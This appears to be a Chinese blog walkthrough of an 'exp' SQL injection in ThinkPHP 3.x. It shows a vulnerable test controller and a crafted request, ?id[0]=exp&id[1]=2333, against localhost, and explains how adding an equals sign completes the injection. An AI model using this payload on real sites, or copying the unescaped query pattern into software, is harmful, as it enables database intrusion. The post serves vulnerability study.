Thinkphp 3.x exp注入(2)

时间：2021-01-27 13:29:47 收藏：0 阅读：0

接着上篇来看 https://www.cnblogs.com/cuocuo/p/14329379.html

<?php
namespace Home\Controller;
use Think\Controller;
use \Think\Logs;
class IndexController extends Controller {
    public function index(){
        $id = $_GET[id];

        $data = M(‘user‘)->where(array(‘id‘ => $id))->find();
        dump($data);
　　}
}

http://127.0.0.1/?id=1

技术图片

$val是传入的1

这里可以看到$exp是$val[0]

如果等于bind或者exp，就直接拼接

所以我们构造http://127.0.0.1/?id[0]=exp&id[1]=2333

技术图片

可以看到SQL语句变成了SELECT * FROM `user` WHERE `Id` 2333 我们只需要在添加个等号即可注入

技术图片